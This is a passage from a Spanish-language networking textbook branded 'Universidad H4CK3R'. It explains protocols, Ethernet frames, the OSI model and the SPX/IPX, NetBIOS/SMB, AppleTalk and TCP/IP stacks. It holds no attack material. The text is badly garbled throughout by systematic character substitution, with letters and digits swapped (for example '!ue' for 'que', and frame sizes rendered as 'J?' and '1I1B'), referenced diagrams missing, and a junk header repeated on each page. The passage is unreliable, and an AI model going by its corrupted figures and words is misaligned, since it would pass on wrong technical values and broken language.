9.Negistro de una conferencia diplomtica o deliberacin.
I. .onvencin internacional.
A. Mormalidad , la eti!ueta, la eti!ueta ceremonial.
2l t$rmino tiene su origen en el griego para designar a la pgina de resumen de papel
0protos b kollon en primer lugar, b hoa1, pero su uso est muy e5tendido en el mbito
diplomtico, en un primer momento, como los documentos !ue registran las actitudes y
procedimientos !ue deben seguirse en las reuniones o discusiones con otras naciones, y
ms tarde como un sinnimo de estos procedimientos. /a definicin 9 ilustra el sentido
diplomtico original de la palabra, la definicion I muestra el concepto moderno. 2n sentido
figurado, la gente comen# a considerar cual!uier procedimiento operativo estndar 0ya
sea diplomtico o no1 como protocolo F e5actamente lo !ue nos dice la definicin A.
.uando las redes de computadoras comen#aron a pasar de la teoria a la practica en los
laboratorios tecnologicos 0ya en los a)os I'1, era necesario crear un mecanismo para !ue
cada dispositivo conectado a ella podra comunicarse con los dems, incluso tratandose
de e!uipos diferentes. Se crearon mensaes estndar, y si dos e!uipos !uerian
comunicarse, ambos deverian conocer esos mensaes. Por similitud de ideas 0y hacer una
broma con la definicion diplomtica1, los ingenieros llamaron a estos mensaes Cel
protocolo estndarD.
<bserve las definiciones B, 1' y 11. Si nos fiamos, vemos !ue no son ms !ue
e5trapolaciones de la I y A. Veamos, a continuacin algunos de los protocolos de red ms
populares, sus funciones y caractersticas.
35
ikimilikiliklik Universidad H4CK3R
= C/mo funcionan
/os protocolos son como 4frases4 !ue una interfa# de red tienen !ue decir para poder
comunicarse con otras. .mo se puede apreciar 4otras4 de la frase anterior es plural,
tiene !ue haber alguna manera para !ue todas las m!uinas conectadas en la misma red
puedan, 4escuchar4 un mensae, entiendo si es para ellas o no.
/a primera cosa !ue un protocolo de red debe aclarar es de !ue protocolo estamos
hablando. (ebe haber en alg%n lugar al comien#o del mensae, un indicador del protocolo.
Necuerde !ue, no siempre hay un slo protocolo funcionando en la red, por eso es
necesario identificar a todos.
.onsiderando !ue un mensae 0o pa!uete, !ue es el t$rmino t$cnico para esta entidad1 de
una red es un conunto de datos de un nodo de origen a otro de destino, y !ue estos datos
se transmiten en forma de serie de bits, se puede decir !ue,tenemos en el cable de la red,
un 4tren4 de pulsos el$ctricos secuenciales.
Para fines didcticos, vamos a 4construir4 un pa!uete con un protocolo gen$rico y ficticio,
creado por nosotros. *a sabemos !ue nuestro mensae tiene !ue empe#ar con un
identificador de protocolo, entonces tenemos algo como esto=
:na de las cosas !ue el protocolo debera definir, ms all de la posicin en la !ue esta
cada uno de los datos, es su tama)o. Por lo tanto, en nuestro protocolo ficticio definimos
!ue el protocolo de identificacin este en primera posicin. Pero tambi$n debemos definir
cuntos bits se van a utili#ar para identificar3o. Supongamos !ue, en nuestra tecnologa
de red, slo habr cuatro protocolos diferentes. Para cuatro valores diferentes, slo se
necesitan dos bits. "s !ue cuando publicamos nuestras normas y proyectamos nuestras
taretas de red, sabemos !ue= los dos primeros bits de ese pa!uete identifican el protocolo
!ue estamos usando.
Hay otra cosa !ue ya sabemos= cul es la m!uina de destino del pa!uete, y cual el
e!uipo de origen. .ada nodo en una red tiene un identificador %nico !ue lo distingue de
todos los dems nodos. 2ste identificador se llama com%nmente la direccin, as !ue,
sabemos !ue es necesario insertar en nuestro pa!uete, cuntos bits utili#ar para
representar la direccin de origen y de destino. -uestra tecnologa de red slo va a tener
1J nodos al mismo tiempo, entonces, cuatro bits son suficientes. 02stamos suponiendo
!ue el lector sabe hacer la conversin decimalLbinario1.
2l pa!uete !uedaria asi=
Malta algo, 7no8. -o tendriamos ningun problema en enviar por correo un sobre con
remitente, destinatario, el sello 0!ue en este caso, identificaria el protocolo de
comunicacin= el sistema postal1, pero, 7sin una carta en su interior8. Ha nuestro
36
ikimilikiliklik Universidad H4CK3R
protocolo le falta algo importante por hacer. 6enemos !ue definir un espacio dentro del
mensae, para cargar los datos !ue !uiere transmitir el nodo de origen hasta el nodo de
destino.
Supongamos !ue la red para la !ue estamos creando este protocolo tiene una limitacin=
el tama)o del pa!uete no puede superar los J? bits. *a hemos utili#ado dos para el
protocolo, cuatro para la direccin de origen y otros cuatro para la direccin de destino. &
U? U? b 1', por lo !ue sobran I? bits para la carga %til, pa+load 0una e5presin utili#ada
en el entorno ferroviario para establecer el tama)o de la 4carga41, y otros campos. :n
protocolo, por muy simple !ue sea, debe tener un smbolo !ue mar!ue el final del
mensae. Vamos a definir una secuencia de 1 byte para esto. "rbitrariamente decidimos
!ue sea 11''1'11. 2l smbolo debe ser lo %ltimo !ue aparece en el mensae. /os ?J bits
restantes se pueden utili#ar para llevar a nuestros datos.
2sta claro, !ue los pa!uetes hechos de acuerdo a nuestro simple protocolo, re!uieren
varios controles ms sofisticados. Podra, por eemplo, haber un campo en el !ue
e5istese un n%mero calculado a partir del numero de bits de cual!uier mensae. 2ste
numero sera recalculado en el nodo de destino, y el resultado es comparado con el !ue
se almacena en el campo, si coinciden, esto indica !ue el mensae no fue da)ado durante
el viae.
<tro campo util podra ser un marcador de tama)o del mensae. .on el tama)o de
mensae variable, austariamos la cantidad de datos !ue deben transmitirse en ese
momento. 6omando como eemplo a nuestro protocolo, !ue tiene una carga %til de ?J bits,
vemos !ue todos los mensaes tendrn un tama)o m5imo estricto, a pesar de !ue se
!uiere transmitir un slo bit. .on un campo controlando el tama)o de la carga %til, se
puede optimi#ar el uso de mi red y reducir el trfico.
Se podrian estar dias hablando de las numerosas posibilidades de la implementacion de
protocolos. 2n su lugar, remito al lector a buscar la documentacin teorica de protocolo en
3nternet. /os buenos libros en redes 0como el del mencionado "ndreP 6annemmbaum1
tambi$n son buenas fuentes de informacin sobre el tema.
= 4atrios8ka
2l campo CProtocolo 3(D 0o P3(1 de nuestro protocolo es un identificador !ue lo distingue
de otros protocolos !ue viaan a trav$s de la red.
2l protocolo es nuestro 4primer hio4, !ue bauti#aremos como PN<61 0original, 7eh81.
Puede ser !ue por el mismo cable, transite nuestro PN<61 y otros tres, creados por sus
colegas= ;"3/1, O2+1 y 3;1. 2n cual!uier momento, hay cuatro mensaes de estos
protocolos viaando simultaneamente. /os mensaes son independientes y pueden
coe5istir en el tiempo y el espacio. 2s fcil de observar, por los nombres propuestos, !ue
el protocolo !ue cargar ;"3/1 seran mensaes de correo, el protocolo O2+1 pginas
Oeb a su navegador y el protocolo 3;1 programas de mensaera instantanea.
37
ikimilikiliklik Universidad H4CK3R
2n algunas situaciones, se utili#a un protocolo para transportar pa!uetes de otros
protocolos. :no de esos casos es cuando el n%mero de protocolos !ue pretenden circular
por la red es muy grande. 2n tales casos, se crea un protocolo de transporte F y slo uno,
el hardPare es ms fcil de implementar F y encapsula los otros protocolos, como si
fuesen su carga %til.
25trapolando, es posible tener varios niveles de encapsulacin. .ada nivel !ue
com%nmente se llama capa o ClayerD, puede estratificar la comunicacin de datos, creando
capas con funciones especficas.
/os protocolos de nivel superior son 4envueltos4 en otros de uso ms general. 2l proceso
puede seguir indefinidamente, en funcin de las necesidades del proyecto. .ada una de
las capas pueden manear e5igencias especificas de la red. Por eemplo, la capa de nivel
inferior, probablemente se encarga de los aspectos el$ctricos de la comunicacin, ya !ue
la capa superior proporciona un medio para !ue, los mensaes del programa !ue est
accediendo a la red, sean bien recibidos en el otro e5tremo del cable.
5t8ernet
7.onfundido8 6al ve# la teora sea un poco pesada. Sin embargo, algunos eemplos
prcticos, sern suficientes para mostrar al lector !ue este m$todo de guardar un sobre
dentro de otro no slo es fcil de entender, sino !ue hace las cosas ms fciles para el
dise)ador.
2thernet es un protocolo de red de bao nivel. .ontrola como viaan los datos en la red
local, tanto en el control del medio fsico 0se)ales el$ctricas, impedancia, etc1 como el
montae de una trama, llamada 2thernet, !ue contiene informacin sobre la direccin de
origen, de destino y los datos a ser transportados. Si abre un cable de red y pone un
anali#ador lgico para observar lo !ue est pasando por el, aparecer en la pantalla una
trama 2thernet. /a estructura de una trama 2thernet es muy similar a nuestro protocolo
ficticio. ;ire=
:na trama de 2thernet tiene un tama)o de entre J? y 1I1B bytes 0es decir, entre I1& y 1&
1I& bits1. "ntes de cada trama 2thernet, hay un tren de IJ bits, alternando ceros y unos,
llamado el CpreD(%ulo y !ue sirve para sincroni#ar los interfaces de red. :na trama de
2thernet completa, incluido el prembulo, es la siguiente=
38
ikimilikiliklik Universidad H4CK3R
/os n%meros debao de cada campo representan el tama)o en bytes. (espu$s del tren de
pulsos del prembulo, tenemos el CStart Fra(e >eli(iter el SF>. 2ste campo tiene
siempre el mismo valor binario 01'1'1'111 y sirve como su nombre indica, para indicar el
principio 4oficial4 de la trama. /os dos siguientes campos son la Cdireccin de origen y
Cdestino de los interfaces de red. 2stas direcciones no estn configuradas por el usuario.
Por el contrario, el fabricante de su adaptador de red la inserta en el propio hardPare, una
direccin %nica para cada tareta en el mundo. /a direccin 2thernet, o direccin ;".,
como suele llamarse, tiene seis bytes y es representada por el n%mero he5adecimal. :n
eemplo=
00 - 00 -1/ - %1 - 01 2 F0
/os tres primeros bytes determinan el fabricante de la tareta. /os %ltimos tres, el rango de
direcciones !ue este fabricante est autori#ado a utili#ar
2n la lista siguiente, !ue es muy simplificada, tenemos unas cuantas series de los tres
primeros bytes de direcciones ;"., indicando diferentes fabricantes=
.aga un e)peri(ento + verifique la direccin <;1 de su tarjeta de red. Si estD utiliNando
una fa(ilia de ,indo$s ,inK)* clique en Inicio* -jecutar + ejecute el progra(a de
,I"I21F:. -n un equipo con ,indo$s BLLL o O2* entre en la 1onfiguracin de red +
pida ver el estado de cone)in. .aga clic en Soporte +* a continuacin en el %otn
>etalles. -n 'inu) + algunos Pni)* a%re un ter(inal + utilice el co(ando ifconfig.
Volviendo a la trama de 2thernet, el siguiente campo es el Cta(a4o de la tra(a de la
carga %til 0payload1. 2s un n%mero de dos bytes 0para 1J bits1, y podra indicar un tama)o
de entre 1 y JI.I9J para los datos. 2n la prctica, este valor vara de ?J a 1I'' bytes.
2l %ltimo campo en la trama 2thernet se llama el CF1S* o secuencia de verificacin. 2s
e5actamente ese n%mero de protocolo de verificacin !ue comentamos en nuestro
protocolo ficticio. Se genera en un nodo de origen, en funcin de los campos de direccin,
el tama)o y la carga %til, y es registrado en el campo M.S. .uando la trama llega a su
destino, el n%mero se vuelve a calcular y se compara con M.S. Si ambos son iguales, la
imagen es buena. Si son diferentes, la trama est da)ada y se descarta.
:n %ltimo elemento, !ue no forma parte de la trama de 2thernet, se llama CInterfra(e
:ap. :na ve# !ue la trama es procesada por el e!uipo de destino, la interfa# de red de
origen sale de la red 4silenciosamente4 por un tiempo predefinido por hardPare. "s, todas
las otras interfaces de la red puede estabili#arse y esperar a una nueva trama.
39
ikimilikiliklik Universidad H4CK3R
2l protocolo 2thernet, por si solo, dara para un libro entero. -o es necesario para
nuestros propsitos, diseccionar3o ms de lo !ue hemos hecho. Para una e5plicacin
mayor, recuerda !ue 3nternet es tu amigo.
.omo el lector ver a continuacin, se presenta un modelo de referencia para la creacin
de protocolos. 2themet podra locali#arse en las capas 1 y & del presente modelo de
referencia. Puede parecer e5tra)o empe#ar hablando de 2themet, pero necesitbamos un
eemplo prctico de protocolo. .omo comprobaras ms adelante, todo esta dentro del
proyecto pedaggico _F1
4odelo 0;I.
Podemos decir !ue el modelo de referencia <S3 0<pen Systems 3nterconnection1 naci de
la necesidad de crear un protocolo con el !ue pudieran comunicarse entre si diferentes
redes. /as antiguas redes de computadoras posean protocolos propietarios. Si la
empresa implement una red K, esta slo se podra ampliar y comunicarse con otras
redes y e!uipos construidos por la misma empresa. /a tecnologa utili#ada era conocida
slo por un fabricante, no era posible ad!uirir el hardPare en una empresa e instalar una
red empresarial con otra. /os clientes estaban con las manos atadas, por!ue no haba
competencia y no siempre el fabricante, ofreca la meor solucin.
.omo su nombre indica, es un modelo de referencia <S3, no un protocolo. Vamos a tratar
de ilustrarlo de una manera muy simple= piensa en un procesador de te5tos. ;icrosoft
Oord, por eemplo. Hay varios modelos de documentos 0llamados plantillas1 de la !ue
podemos crear nuestras propias taretas, hoas. o fa5. 3magnese el modelo de referencia
<S3 como una plantilla para la creacin de protocolos de red. Mcil, 7verdad8.
2l modelo fue desarrollado por la 3S< 0<rgani#acin lnternacional de -ormas1, y se ha
convertido en un estndar para !ue los fabricantes desarrollen sus protocolos a partir de
este modelo. Sin embargo, puede observarse !ue los protocolos e5istentes no se
adhieren estrictamente a estas especificaciones, unos por!ue son ms vieos !ue ellas,
otros para alcan#ar obetivos t$cnicos especficos, y unos pocos por la arrogancia
empresarial pura.
= Ca7as
2l modelo <S3 consta de siete capas, cada una con una funcin diferente. /as capas
crean un sobre con los datos de la capa superior, incluyendo su propio encabe#ado y lo
entrega al siguiente nivel. .uando el pa!uete llega a la capa de nivel ms bao est listo
para ser transmitido. /as capas se organi#an de acuerdo a este modelo
40
ikimilikiliklik Universidad H4CK3R
@ "P/3.".3<-
J PN2S2-6".3<-
I S2S3<-
? 6N"-SP<N62
9 N2(
& 2-/".2
1 M3S3."
.uando un pa!uete es enviado desde un dispositivo !ue sigue el modelo <S3 a otro, las
capas del remitente se comunican slo con las capas correspondientes en el receptor.
2sto significa !ue las capas identifican los encabe#ados e!uivalentes !ue se incluyeron
en el proceso de encapsulacin, haciendo !ue el siguiente nivel no tenga !ue procesar la
informacin de los niveles anteriores. 2n pocas palabras, la capa de ? no tiene la ms
mnima idea de lo !ue hacen los datos de las capas 9, & y 1. 6odo lo !ue sabe es !ue
hi#o un sobre y se la entreg a la .apa 9. 2n el receptor al otro lado de la cone5in, la
capa 9 entregar el sobre cerrado, para !ue lo abra la capa ?. Pueden haberse producido
cambios en las capas inferiores del protocolo, fragmentacin del pa!uete, cambio de
orden, no importa. /a capa ?, slo !uiere saber !u$ hay en su sobre. 2sto se aplica a
todas las capas funcionando independientemente las unas de las otras.
.omo hemos dicho, cada capa tiene una funcin especfica. Si tomamos como punto de
partida !ue cada una de ellas representa, softPare !ue reali#a las funciones descritas 0a
e5cepcin de la capa 1 !ue es la implementacin de hardPare1, vemos !ue el modelo
propuesto, en lugar de ser abstracto, es palpable.
I ! 1apa de ;plicacin
/a capa de aplicacin es, como su nombre lo indica, la propia aplicacin. 2n otras
palabras, es el programa !ue est$ utili#ando. Por eemplo, el navegador Oeb es la capa
de aplicacin, y habla directamente al servidor Oeb !ue est en el otro e5tremo de la
cone5in. -o es una 4conversacin a dos4 entre los programas. -o es realmente parte de
la red. "l contrario, esta capa representa a todos los programas !ue !uieren acceder a la
red y no saben cmo hacerlo. /a %nica manera de !ue los programas !ue usamos
consigan comunicarse con otros programas en otras ma!uinas es 4hablar4 con la capa J.
41
ikimilikiliklik Universidad H4CK3R
H ! 1apa de 2resentacin
/lamada por muchos 4la capa sin funcin4 o 4capa in%til.4 2n teora, sirve para preparar los
datos en el dominio local y poner3os en un formato compatible con los procedimientos de
transporte. 2n sentido contrario, estandari#a los diferentes tipos de datos de manera !ue
cual!uier aplicacin pueda ser escrita para usar la red, independientemente de las
implementaciones de las cinco capas inferiores. (os eemplos de los servicios eecutados
en esta capa es la compresin y cifrado de datos. 2n la prctica, esto es trivial y se
eecuta en la aplicacin.
G ! 1apa de Sesin
/a capa de sesin es responsable de establecer cone5in entre dos e!uipos !ue se
comunican. .ontrola el dilogo entre las aplicaciones en los sistemas locales y remotos.
6ambi$n puede agrupar los datos en blo!ues y 3os marca despu$s de enviarlos. Si hay
una interrupcin en la cone5in, la pr5ima sesin se iniciar a partir del %ltimo blo!ue
enviado.
E 0 1apa de 8ransporte
/a capa de transporte proporciona los medios para !ue los nodos locales y remotos
puedan intercambiar datos. :sando una analoga un poco imprecisa, los programas de la
capa ? crean un 4tubo4 entre la capa I local y capa de I cinco remota. Si los programas
de la capa I de ambas m!uinas miran por el CtuboD, vern, en el otro lado, su
compa)ero. 2s a trav$s de esta tubera suministrada por la capa ? !ue sucede toda la
4magia4 de las capas anteriores.
C ! 1apa de red
Hasta ahora, estbamos en el campo e5clusivamente de los programas. /as capas
anteriores se comunican directamente con el programa correspondiente de los e!uipos
remotos. /a tercera capa, en cambio, conoce la distribucin de la topologa y de la red y
sabe cmo encontrar una m!uina en particular, a trav$s de la selva de los caminos y las
direcciones. /a capa de red no esta orientada a la cone5in como la capa de transporte.
/os pa!uetes se envan sin saber si van a llegar o no. (ebido a !ue la cone5in se
establece en la capa inmediatamente superior 0!ue, dicho sea de paso, esta encapsulada
en esta1, esto no es un problema.
B ! 1apa de enlace
/a capa de enlace es la responsable de la comunicacin directa entre dos interfaces en la
misma red. -o tiene conocimiento de otras redes ademas de la suya. Por otra parte, es la
capa en la !ue la red de origen y de destino, efectivamente recogen y entregan el pa!uete
a la interface de red correcta. .ontrol y deteccin de errores son parte de su oficio.
@ ! 1apa Fsica
.omo su nombre indica, se encarga de enviar las tramas al medio fsico. /a conversin se
reali#a a partir de los 's y1s de la trama 0sistema binario1 y lo adapta al medio, en un
medio el$ctrico se transforman en se)ales el$ctricas, en un medio ptico, en se)ales
luminosas, etc.
42
ikimilikiliklik Universidad H4CK3R
= Un e?em7lo 7rFctico
Para entender meor, una pe!ue)a alegora= un uego, un partido entre dos ugadores de
aedre#, uno en /ondres y otro en Sydney. /os ugadores son los usuarios. 2l uego en s
0tablero, pie#as y reglas1 es la aplicacin 0nivel @1. /os movimientos se registran en la
notacin de tabla 0por eemplo, el movimiento de un caballo puede ser +9.I1 y escrito en
papel F esto es la presentacin 0nivel J1. 6enga en cuenta !ue no es suficiente poner
simplemente una hoa en el sobre con la indicacin de la ugada. Hay !ue escribir una
carta completa con la fecha, el saludo y la firma, se pregunta por la familia, trabao,
vacaciones, etc. Para crear un vnculo ntimo entre los dos.
Pero, 7cmo enviar la ugada al otro ugador de aedre#8 +ueno, es necesario establecer
un capa de sesin 0I1 comunicacin. 2n nuestro caso, la solicitud de la sesin est
representado por los servicios del Servicio Postal. .olocamos la carta en el sobre,
escribimos la direccin, ponemos el sello y la echamos en el bu#n. Por otra parte,
nuestro colega abre la carta y establece una sesin.
2l Servicio Postal es responsable del transporte de nuestra carta 0capa ?1. 2sto significa
crear los medios para !ue la cone)in entre los dos ugadores de aedre# sea establecida.
.uando ponemos la carta en el bu#n, esperamos !ue, de alguna manera, llegue a las
manos del destinatario. /os mecanismos utili#ados para ello no nos interesan.
2l Servicio Postal separa las cartas por pas, luego por regin, a continuacin, por
provincia, luego por ciudad, y luego por la calle. :na ve# separados, unta los pa!uetes de
cartas dirigidas a cada calle y los enva all. Se utili#a para ello una red de carreteras,
ferrocarriles y la aviacin 0nivel 91 y un e$rcito de carteros para entregar las cartas.
.amiones, autobuses, aviones, motocicletas y los carritos de los carteros son los
elementos !ue llevan los pa!uetes de cartas dentro de la red viaria. /os camiones slo
van por las carreteras, los aviones slo vuelan, los carteros simplemente caminan en las
ciudades. -inguno de ellos sabe los detalles de toda la ruta de las cartas, slo de cmo
entregar las taretas a nivel local. 2llos son nuestra segunda capa.
6enga en cuenta !ue si necesita cambiar el tipo de red 0por eemplo, para salir de un
avin y llegar en un autob%s1, nuestras cartas son maneadas por los trabaadores de
correos !ue trabaan en actividades propias de la capa 9. 2llos saben distribuir entre las
redes. /os pilotos de los aviones, por eemplo, no saben nada de eso.
/os aviones se utili#an como apoyo a los envos a$reos. /os camiones viaan por las
carreteras. /os carteros andan por cada lugar, !ue mereceran muchas medallas 0ni el
viento ni la lluvia ...1. 2l aire, las carreteras y las colinas son nuestros medios fsicos por
donde se reali#a el transporte de todo lo !ue se describe en las capas superiores.
Q:fG 25plicamos el modelo <S3, con un eemplo nada tecnolgico 0tanto el correo postal
como el aedre# han e5istido desde hace miles de a)os ...1, un m$todo para el transporte
de mensaes entre dos aplicaciones. Hay cosas interesantes de observar en este eemplo,
!ue muestran todas las teoras !ue participan en el modelo de referencia.
2ncapsulacin= /a ugada fue encapsulada en la notacin de tabla, !ue fue encapsulada
en la carta, !ue a su ve# fue encapsulada en un sobre, !ue estableci una sesin de
comunicacin con los protocolos de clasificacin y transporte de correo, !ue enva
pa!uetes de cartas seg%n la ruta especificada, !ue ese trfico de vehculos corra
43
ikimilikiliklik Universidad H4CK3R
e5clusivamente en el entorno fsico especfico para el !ue fueron hechos.
Paridad= .ada capa tiene un transmisor y un receptor. 2l personal de clasificacin y
reenvo 0nivel 91 4conversa4 con el mismo personal de otra localidad, utili#ando los
recursos de la capa inferior 0el camin, por eemplo1.
.one5in = " partir de la capa cuatro, vemos !ue todos los procedimientos precisan !ue el
emisor y el receptor entren en negociaciones. (e la capa 9 hacia abao, las cartas se
transportan de forma indiscriminada, sin tener en cuenta si habr alguien all para
recibirlas. -o es un problema= si slo una de las capas establece un canal de cone5in
permanente, las otras capas pueden viaar 4sin cone5in4.
3ndependencia= /as capas son completamente independientes. 2n la capa ? los sectores
de la recepcin y entrega de las cartas no necesitan saber las rutas !ue usa el personal
de las capa tres, sectores de las redes de transporte. 2ste personal trata de coordinar los
diferentes medios de transporte, nuestra capa &, pero no se preocupa por los problemas
inherentes al transporte, camiones !ue se designen, combustible, chfer, los problemas
con huelgas, sindicatos ... Pero el conductor, tampoco sabe !ue otros medios de
transporte se utili#an para transportar las cartas, y mucho menos el contenido de cada
carta individual, se ocupa slo de la gestin de los problemas inherentes a su trabao=
seguir la ruta designada por el personal de la capa 9, conducir el vehculo, de conformidad
con las reglas de trafico, es!uivando baches, a trav$s de inundaciones, etc. -inguno de
los aedrecistas 0capa @1 se molest en conocer cual!uiera de estas partes del proceso.
Para ellos, lo !ue importa es mover el caballo, de acuerdo con +9.I.
;PGHIPG
2l CSecuenced Packet 25changeLlnternet Packet 25changeD es el protocolo utili#ado por la
red -etPare de -ovell. 3mplementa las capas 9 y ? del modelo de referencia <S3, y utili#a,
como protocolo de capa &, slo 2thernet. (urante muchos a)os, -etPare y 2thernet se
consideraron sinnimos. Son muy similares con el 6.PLlP. Han sido los protocolos ms
populares, pero, como 6.PLlP es la base de 3nternet, con el tiempo han cado en desuso.
3PK F 3PK sera e!uivalente al protocolo de red. 2s un protocolo muy amplio y lleno de
recursos. 6iene algunas caractersticas ventaosas como la deteccin de direccin ;". y
asignacin automtica de direccin 3PK, a diferencia de otros protocolos como 3P, !ue
hacen !ue el usuario tenga !ue asignar manualmente una direccin, configurar cada
interfa# o tener un servicio e5terno !ue automatice la tarea.
SPK X 3gual !ue el 3PK, SPK tiene e!uivalencias con el protocolo de transporte <S3. :na
de las caractersticas ms importantes de esta aplicacin es !ue la SPK tiene !ue recibir
la confirmacin de los pa!uetes enviados antes de !ue pueda enviar a otro, lo !ue
provoca un da)o al rendimiento de la red.
= Ca7as
/as capas del protocolo 3PKLSPK act%an prcticamente igual a como lo hace el estndar
44
ikimilikiliklik Universidad H4CK3R
6.PL3P, !ue son= "plicacin, SPK, 3PK, <(3L2thernet y capa de interfa# con la red red.
"P/3.".3<-
SPK
3PK
<(3L2thernet
3nterface con la Ned
.ada uno de los protocolos de todas las capas -etPare ha sido especialmente dise)ado
para permitir una alta fiabilidad y rendimiento. Se utili#an varios CflagsD de control y
sistemas redundantes de comprobacin de errores y el reenvo de pa!uetes. /a propia
capa <(3 representa una encapsulacin del protocolo 2thernet para hacer3o satisfacer las
demandas de los dise)adores de -ovell. Pero no todo son flores, el aumento del n%mero
de controles para garanti#ar la fiabilidad genera una cada en el rendimiento en proporcin
directa. 2ste fue uno de los muchos factores !ue contribuyeron al abandono del SPKL3PK
como uno de los protocolos de red mas populares.
Iet2I0;HIet25UIH;42HCI";
-o hay mayor meora para los usuarios corporativos de las redes de OindoPs !ue la
facilidad y la velocidad para compartir con otros colegas una impresora o una carpeta.
3ncluso disponer una unidad de .(, .(FN, .(FNO, (V(, ,ip o dis!uete.
/a Ned +asic 3nput <utput System fue dise)ada por 3+; y ampliada por ;icrosoft y -ovell
para el uso en sus redes de rea local, redes de P.s, /"- ;anager y -etPate &.'. .omo
su nombre indica en realidad, -et+3<S es una serie de e5tensiones de entradaLsalida
para !ue el vello sistema operativo ;SF(<S y sus descendientes puedan acceder a las
redes locales. -et+3<S se basa en un formato de mensaera llamada Ned de blo!ues de
control 0-etPork .ontrol +locks 0-.+11, !ue conducan Cde paseoD a lo largo de la red los
protocolos de capa & e5istentes. 2ntre los -.+, viaa a otro protocolo llamado +lo!ues de
mensaes del servidor 0Server ;essage +locks S;+1, !ue le dice a las m!uinas donde
estn, !ui$nes son, cules son sus direcciones ;"., y !u$ recursos 0discos e
impresoras1 tienen !ue compartir. Se encuentra en las placas de 2thernet, 6oken Ning y
en las ultimas versiones de OindoPs -6. -et+3<S implementa las funciones de las capas
? 0transporte1 y I 0sesin1 del modelo de referencia <S3. 2l S;+ implementa las
funciones de las capas J 0presentacin1 y @ 0aplicacin1. Sin embargo, estos no eran
interfaces de programacin e implementacin de protocolos, y nunca fueron
implementadas las funciones correspondientes a las capas & 0enlace de datos1 y 9 0red1.
.on el tiempo, -et+3<S fue incorporando como una "P3 de programacin, un protocolo
nuevo !ue se conoce como -et+2:3 03nterfa# de usuario meorada de -et+3<S1. Slo los
-et+2:3, de 3+; y ;icrosoft implementaron, al final, un marco normali#ado para la
transmisin en la capa ?. /a tercera capa, sin embargo, se !ueda fuera, no es posible
enrutar -et+2:3 entre redes diferentes.
2l par -et+3<SL-et+2:3 siempre fue elogiado por su actuacin en redes locales, por lo
45
ikimilikiliklik Universidad H4CK3R
general pe!ue)as. Sin embargo, su efectividad desaparece en redes con ms de A'
computadoras interconectadas. /as recomendaciones de la $poca eran instalar el
protocolo -et+2:3 con otros protocolos de capa 9 0tales como 3PK o 3P1 y segmentar la
red. Hoy en da, se sabe !ue esa prctica no es viable para grandes redes, y es un
aguero de seguridad enorme. 2n el primer caso, no se pueden aislar segmentos de red
con CbridgesD y mucho menos con los routers de las redes, debido a !ue la resolucin de
nombres y la entrega de mensaes entre las estaciones se reali#a a trav$s de CbroadcastsD
F 0mensaes para toda la red de manera indiscriminada1. 2l segundo problema es mucho
peor= la adicin de capacidades de enrutamiento de -et+3<S, abri la puerta para !ue
personas maliciosas en todo el mundo pudiesen husmear en su red a trav$s de 3nternet
sin necesidad de ms herramienta !ue 3nternet 25plorer.
/a me#cla 3PL-et+2:3 es tan mala !ue incluso ;icrosoft ha deado de dar soporte
-et+2:3 en OindoPs KP. /a solucin es el uso de S;+ 0una implementacin de la capa
@1 directamente a trav$s de 6.PLlP.
= Ca7as
Sorprendentemente, las soluciones basadas en -et+3<S tienen hoy en da,
implementaciones para 6<("S las capas del modelo de referencia <S3, con e5cepcin
de la capa de red. /o !ue no es realmente un problema, es fcil 4apoyar4 -et+3<S en una
red 3P o 3PK e5istente. Por si fuera poco, es posible implementar un protocolo de red de
;icrosoft eliminando cual!uiera de las capas intermedias, o incluso de todas. 6enga en
cuenta=
2n el primer caso, tenemos la aplicacin original, es decir, S;+ 0.apas @ y J1 a trav$s de
-et+3<SL-et+2:3 0'IL'?1 a trav$s de 2thernet 0&1. 2sta solucin no es enrutable por!ue
no e5iste un protocolo de capa de red en la cadena.
2n el segundo caso, S;+ 0'JL'@1, -et+3<S 0I1, 6.PLlP 0?L91 o SPKL/PK 0?L91 2thernet
0&1. 2n esta implementacin, tenemos el conunto completo de protocolos <S3
implementado por alg%n protocolo. Por un lado eso gusta a los redactores de normas, por
otro crea una pila de protocolos muy pesada y llena de agueros de seguridad. Si usted
usa 3nternet, es meor no ir por ese camino.
/a tercera es la ms radical. 6odos los antiguos protocolos -et+3<S fueron simplemente
descartados, ya !ue el ;icrosoft hi#o a S;+ funcionar directamente sobre 6.PLlP. Por un
lado hay meoras en el rendimiento y la seguridad, se pierde la "P3 !ue facilitaba escribir
programas para la red. Podemos, estratificar a estos protocolos 0incluyendo las capas
e5ternas ?, 9 y &1 de la siguiente manera=
46
ikimilikiliklik Universidad H4CK3R
S;+L.3MS 0@ e J1
-et+3<SL-et+2:3L-;+ 0I e ?1
6.PL3P o 3PKLSPK 0? e 91
2thernet 0& e 11
" pesar de su edad y sus fallos, los protocolos basados en S;+L.3MS son muy populares
a%n hoy en da por la facilidad con !ue los usuarios pueden compartir los recursos de sus
computadoras. 2n las redes bien administradas eso puede aumentar la produccin. 2n las
redes de mal administradas puede aumentar la confusin ... 2n ambos casos, es la
aplicacin de redes ms utili#adas de la tierra.
*77letalk
2l "ppleta3k, como su nombre indica, es el protocolo propietario utili#ado en redes de
ordenadores de "pple. Se trata de protocolos de transporte y entrega, el "6P 0"pple6alk
6ransport Protocolo1 y ((P 0(atagram (elivery Protocol1, lo !ue e!uivale a las capas ? y
9 del modelo de referencia <S3, respectivamente.
= Ca7as
2l modelo "pple6alk se divide en cinco capas= aplicacin, sesin, transporte, distribucin
y acceso a la red. ;uy similar a la norma <S3.
"P/3.".3<-
S2S3<-
6N"-SP<N62
(3S6N3+:.3<-
"..2S< " /" N2(
ECPHIP
2l protocolo conocido como 6.PLlP 06ransmission .ontrol ProtocolL3nternet Protocol1 es
actualmente el estndar de facto. Mue dise)ado precisamente para trabaar en las capas 9
y ? del modelo <S3 y, por tanto, completamente enrutable. Su creacin fue con fines
acad$micos y militares, pues fue utili#ado en diversas redes de universidades y de
defensa de 22.::. en los a)os @' y A'. 2l protocolo ha logrado 4fama4 con 3nternet y esta
implementado en prcticamente todos los sistemas operativos.
= Ca7as
2l 6.PLlP se divide en varias capas, como se e5plica a continuacin=
/a capa de aplicacin= Nesponsable de la comunicacin entre el protocolo para el
transporte y las aplicaciones en eecucin, tales como (-S, M6P, H66P y S;6P, entre
47
ikimilikiliklik Universidad H4CK3R
otras. .orresponde a las capas <S3 @, J y I y se lleva a cabo en los propios programas
0capa @1.
/a capa de transporte= .rea una cone5in virtual entre dos e!uipos, tal y como se
describe en el modelo <S3.
.apa de 3nternet= Nesponsable de la organi#acin y el enrutamiento de pa!uetes definido
en sus direcciones.
